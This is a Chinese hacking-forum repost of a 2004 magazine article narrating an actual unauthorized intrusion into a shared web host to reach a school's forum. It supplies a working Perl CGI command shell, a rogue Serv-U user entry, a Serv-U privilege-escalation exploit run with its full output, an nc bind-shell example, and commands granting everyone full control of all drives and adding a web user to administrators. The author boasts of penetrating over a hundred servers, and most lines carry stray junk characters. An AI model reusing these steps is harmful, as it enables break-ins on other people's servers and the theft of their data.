找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1797|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
% ]( i# y& t3 A) s" |4 T本文作者:angel/ d  \# _1 U% h
文章性质:原创$ d+ t. N( h" J4 C! A( ~
发布日期:2004-11-09 ' J3 ^/ F* w4 `8 w7 A! A
注意:$ Y3 g# c- N5 d1 I+ t
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。, X3 j! S* O) [, _7 t9 b
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。. g" S* C+ B+ E0 }# ?2 M

8 T: ]4 j. }, h6 N- r9 s/ l  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 * |: m% ~; X5 _3 a$ b2 A$ q

" t5 m8 K7 A5 [8 Z5 X0 U  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 * q2 X6 k! C# d1 u4 k; v2 x
( M! e% v/ G' e4 w* f8 m" F
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
  t; s, w0 y1 F* o) R4 |
8 W: U$ ?1 ?: o  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
; T, ?$ J2 T: X* C2 `/ X' F
' T: B& T) \9 A4 s5 q  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ! o4 S6 F5 \/ U6 Q' Q. B( z
5 V; V1 Y/ C$ _3 _1 p. _
  没有目的的跳转目录着…… 4 N" M& q8 n( D% s
; f! l* ^( s1 Q9 }# ^" A7 t
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
' {" H7 g) o  {
1 G# w9 h& x7 I: N# a3 z, }  结束了吗?不,我试着 FTP 一下: 9 ~, G0 n4 m- O8 E2 z' m! {* Y

! o* |2 t, e9 |" |Microsoft Windows 2000 [Version 5.00.2195], i* ]0 w3 H9 [: X
(C) 版权所有 1985-2000 Microsoft Corp.
1 X, D+ g+ c2 E3 b& v/ W* m
5 Q6 G# j: s2 c; I: [. RC:\Documents and Settings\Administrator>ftp www.school.com
( ?$ i+ \! W" A! E1 bConnected to www. school.com. + }- i3 r' K/ w0 Z# J" c5 s4 r
220 Welcome to FTP Server... 4 E4 ~3 E4 K2 u  Z
User (www.bjtrq.com:(none)): ) n" B9 \! [' U% N7 N5 x
331 User name okay, need password. 5 b3 ], S' H$ w- ^; V$ {0 A; b
Password:
# l) o9 V: R; B7 u+ z1 q2 ?530 Not logged in.
- r0 p: ]; K9 |' ^. rLogin failed. 1 W% i! j  v; B+ V
ftp> bye : j! W4 \2 f: }2 T
221 Goodbye! + [' V' @: }- A, D$ U" H) e) W, m

: S; D9 i' T) m9 r# o
+ d3 ~: k. p# n- P% {  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ' s2 {& b6 W' D* V
4 \, g' K; g3 G& v; y* T
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 0 d( b$ N0 _4 B* ]3 k
- u: J2 x! }; H: {* {& U% I, V. S& a
Application Data
- Z; Z% q$ h( k5 hDocuments
- h5 P4 L$ |4 q5 R# ^DRM
! Z$ \) u5 v+ {' K( ]Favorites
8 W( f" d  o, a2 D+ s( m; PTemplates; u/ K5 v8 M1 B" ^9 v$ ?* F
「开始」菜单
( S" l( P& j' b桌面$ a( ?8 V" f- U

& m  l0 y7 w( p1 ]5 n$ Z# d
5 n% m1 G2 B4 M* l  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
/ |/ k7 `5 E: v8 u3 j& J) d
: a! h$ X) ~3 O; Q& g/ `  a2 u" pActiveState ActivePerl 5.8
8 ^# \. F- }; X6 IAdministrative Tools5 K3 y7 J8 K+ Z
Deerfield.com1 ~9 W6 j  e' N( H* c* e3 Y. u
DTemp
& R8 _2 p/ m4 V; f3 WIPSentry
  S& |: H# v# O7 d% x, UMBM 5
  V8 ?2 _! Y! k' eNetMeter
3 k  c9 h+ Z( K+ }# {" _- _Network ICE
* [* B1 N6 N/ T( Q3 L# JPersits Software AspEmail
3 K/ q0 W; z1 o% q3 ?Persits Software AspJpeg6 d  \2 V4 k" [  U8 ^
Serv-U FTP Server
; B8 ], g& R4 ?( R; f" G6 `Symantec Client Security: s' T  v2 A$ D; a+ v
Windows 优化大师
8 U6 U% t0 T# C" Z1 ]* d& r# X  H8 DWinRAR5 M$ ~9 X# b0 B" O
启动0 x7 o$ o% Z) @  W* m
管理工具3 @! Z2 U& g1 z
附件
& x/ e7 b& p3 X9 Y* Y * V! n( j# m) z) G4 w5 F

5 v* c- i1 U+ i& S* I! k  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 : P6 H0 Q' N; p8 ^( h4 e
( k6 \1 J$ }: u# \5 O+ O
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: # z# q8 J4 Z' f: P8 i9 i
% m. |6 e. m  ]3 J! B- c) B4 K2 H
User281=angel|1|0
3 H6 q( ^: [" J6 L+ ?  V1 D , {. n2 _; y/ |2 a! X
) g7 C- [1 [$ s$ h, q  W
  然后加上 8 V0 y4 I, G* i) a; ~! a
2 D2 d2 ^0 `4 g+ `/ q; ?! p1 i
[USER=angel|1]
/ H- a7 a3 W0 |; C# BPassword=ng98F85379EA68DBF97BAADCA99B69B805
/ m+ P& f5 Q5 x% j) v6 IHomeDir=D:\websites
4 R) M0 l; l, ?2 `; Q& QRelPaths=19 s2 c' Q  _2 G1 y
TimeOut=600) r$ A: L7 @! q7 c4 H/ _
Maintenance=System) w, t. v0 S$ h: S6 ^
Access1=D:\websites|RWAMELCDP: o5 O/ Z4 Q+ S" ?3 z1 E
SKEYValues=, S4 _+ O) T. y  C, x5 C& \

; K. j" N2 F9 L) a' z
% E* g; \8 G+ K  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
+ ?; O0 j# i! g" z2 Z8 T4 q  t" ^+ n! z3 i7 v- S/ p( U
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
. M/ Z7 }8 w& s% T
/ c# g0 n7 q1 i% K: I" z  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 , j% v- l5 f5 b! S" W: ]* x
5 f, x3 ^+ L* a! G1 X* @
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ; w5 f7 L1 C5 [. }
7 a7 d- c4 s9 V1 C4 H" X
#!/usr/bin/perl
$ K9 i4 t5 p# w, Lbinmode(STDOUT);: @. |! Y& k. J
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);. D2 l8 k3 H$ s  x
$_ = $ENV{QUERY_STRING};$ M1 h; T( h5 a2 H+ x% e, M: K
s/%20/ /ig;
& S3 ~5 c! Z# }- S0 Bs/%2f/\//ig;
, U- v1 Z! g2 V) D: f$ T& Q$execthis = $_;
" D2 L8 B. i' ]9 i) q8 X0 Bsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
3 S$ A# g5 I2 ^open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";: I4 R% o9 U: n
system($execthis);
) w2 r2 O+ D0 L% o$ `syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
. x2 H$ L1 a6 {6 d. qclose(STDERR);, T1 h' r0 b2 H+ Q4 t2 D
close(STDOUT);
, M; c/ D1 N3 Jexit;
4 Q& U7 X9 G8 f6 d- A& Q9 l # O; ?* f, N! K5 D0 e5 z
( F# S* {7 L- l1 B6 k, H; a8 d
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 8 b3 o- s& {  B% u

3 W3 [* z. U* Y, e  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: & ~+ M+ d0 b: f$ P. e; H. W9 J  k
, O# ?' M2 q( P, b; a0 ^4 _
http://anyhost//cmd.pl?d:\user\bin\su.exe
" f. L& ?& k( F* i* D
) V7 A( A, d9 D% Z( K% X7 D; k$ S- F. [# g
  返回:
2 |' L2 j! M' [  t( b" M. ?$ A1 K1 C: x0 y
Serv-u >3.x Local Exploit by xiaolu
5 p2 M8 y6 \" b4 L! a. D  l* m* z
USAGE: serv-u.exe "command"
) `5 v: f5 |5 o$ g4 N
1 d! ^0 m* \- w! q3 dExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
* k8 G( v- ~2 c" x4 u
0 E3 L) A. l6 F$ g' l; S. o) x# k
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
6 T: }, ^) M, c" [( w, O: M
; K$ v! z7 k( ?8 B/ l* {http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
& x# {; h! f$ Q5 P& w; u
' i5 e+ |( B# p$ _  jhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
% n" b- l) _! l3 t& ^& u( y5 a, H! t6 C# M; b% m
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" # g! X; n' O/ ~
0 H( x. e! [4 }! z. O8 @. f6 ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
( f: x% n4 c1 }$ ~; j5 O: O3 [5 u
. N- B1 p4 X6 w+ V7 s8 I$ D# t  m1 x0 d# Y6 s
  返回下面的信息,就表示成功了!!! / c& F/ e2 k9 |) y* q* r

# b' ~+ o  _1 j4 C& `7 ~- NServ-u >3.x Local Exploit by xiaolu
+ y1 d! {, N2 s; R* Q6 a, R. ~7 x& B
<220 Serv-U FTP Server v5.2 for WinSock ready... # s. Y$ D2 e! p- B% l0 I

! N& F' U' n: B/ j. E4 A>USER LocalAdministrator
9 ?/ ?' _2 e( N/ D' y% P1 z) u9 A
<331 User name okay, need password. ' Z7 @. Q3 D+ u
" Z3 V+ _- E* P3 Z. Q0 c) i9 A
****************************************************** . l; l: w0 a' N6 G- z( g- r) e

2 g! M2 l1 a6 C( `$ A>PASS #l@$ak#.lk;0@P
; t" B6 v' W& h% \, F' @8 |- ]# e$ W
! p' l' y$ m8 i<230 User logged in, proceed. 5 \% G& T* t* u1 O' ^6 n+ v

/ v9 \6 Y( j6 d1 d5 S0 G******************************************************
; B: B6 L3 O) S; t8 ?9 y6 ~; j8 |1 h
>SITE MAINTENANCE # P! \5 ^3 N$ Y: |7 T7 T% `- p

) f0 j+ i9 r" n% f******************************************************
+ e3 b8 @$ v$ m; x! x
& _. h& ?" g* p; K/ ][+] Creating New Domain... / V  L/ v4 N- \
. ], d6 l# N1 j
<200-DomainID=2
& x* b7 j5 Y1 P% A4 x  D2 h( M0 ]$ m) ]: c
<220 Domain settings saved 9 q3 z& i0 i8 [* h: h5 _
! [( o  ?$ m8 ~) D% m
****************************************************** 0 `4 B* L; B$ A, M7 t
* ^: C0 Y) Y  o9 H9 _
[+] Domain xl:2 Created
% q4 d" J8 E8 ^
- ~' }' U( W+ B) k$ I[+] Creating Evil User 3 J% {% a) b3 s

7 ~* [* A- x1 g8 o, |8 h<200-User=xl 6 N$ C# q. m- s# Q
7 ]! a* C) I6 u% P
200 User settings saved " t) \" _* f( G  g5 `: @2 t: |- O

: s& H2 E2 h* O+ p& H4 X******************************************************
+ e7 E$ ]$ D, A+ i/ Y' F" i3 {* F' V" n( [) z- Z
[+] Now Exploiting...
3 A/ z0 j; N( o$ h1 c+ i% u: i! {7 x, j$ f1 J9 w
>USER xl
  M5 _$ ^5 h; k
! F. U8 ]$ D4 ?# m/ Y, L. y# r<331 User name okay, need password. 2 K( L; t# ?3 N0 {( {7 C

) n8 `/ g4 H( V******************************************************
7 Z% L) F7 A/ ~1 O2 J  U  X4 g
3 {9 z% L6 q& `9 r0 U; F6 D>PASS 111111 , J! W! M& X- C

4 _' _; o( [% v* {" o" M<230 User logged in, proceed. / n- M, Z$ y, S. X5 w& l6 B5 p5 D
# Y. h& |% {# u  `
******************************************************
8 s2 O. S) ^5 U5 Y$ u! A0 T
' w4 w1 c2 e2 y. T/ M- F[+] Now Executing: cacls.exe c: /E /T /G everyone:F 5 _, {3 J8 }0 v9 e' V7 R

& p1 T3 w5 K& z8 P<220 Domain deleted
0 q9 Y# H/ ~9 v) m. h; q: b# F' R( J; a/ z
****************************************************** : t% y" ~, x1 t" r* H8 y7 K9 u
6 K- y5 d2 g  G0 L

( o* S+ P0 j1 R5 j$ ^9 q  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
3 N& @+ p5 b9 \" C5 L& o& z" [  W2 b
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ) i/ \  P8 l6 {9 v; R$ I! g
% M) O+ r+ Q: b/ E
& f* t7 X( k0 ]% @3 w- `
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
5 v2 A+ O3 `: z. G1 {" S& u' g: B2 z$ \
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
2 [3 s4 T( d7 u7 ~4 F& p
+ ^. {/ I- n  m7 V  
2 K3 b3 J% {* [6 o# K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表